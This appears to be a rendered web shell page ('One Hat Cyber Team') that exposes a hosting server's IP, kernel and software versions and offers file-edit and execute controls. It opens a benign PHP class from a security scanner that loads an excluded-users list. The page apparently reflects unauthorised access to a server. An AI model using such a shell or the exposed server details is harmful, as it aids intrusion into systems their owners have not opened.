One Hat Cyber Team
Your IP :
216.73.217.126
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
cxs2
/
app
/
libs
/
CXS
/
Edit File:
ExcludeUsers.php
<?php /** * ExcludeUsers, Exclude Users * * @copyright Copyright (c) 2007 DotRoll Kft. (http://www.dotroll.com) * @author Zoltán Istvanovszki <zoltan.istvanovszki@dotroll.com> * @since 2017.06.13. * @package CXS_2.0 */ namespace CXS; class ExcludeUsers extends CommonComponent { /** * * @var array User (hash) list */ private $list = []; /** * Init Exclude Users */ public function onConstruct() { $this->store(); } /** * Store users list from txt file */ public function store() { $this->list = []; if (\is_file(\APP_PATH . 'config/exclude_users.txt')) { $exclude_users = \file(\APP_PATH . 'config/exclude_users.txt'); foreach ($exclude_users as $excludeUser) { $excludeUser = \trim($excludeUser); if (!empty($excludeUser)) { $this->list[] = $excludeUser; } } } } /** * Hash exist in exclude users * * @param string $hash User name * @return bool */ public function has(string $hash): bool { return \in_array($hash, $this->list); } }
Simpan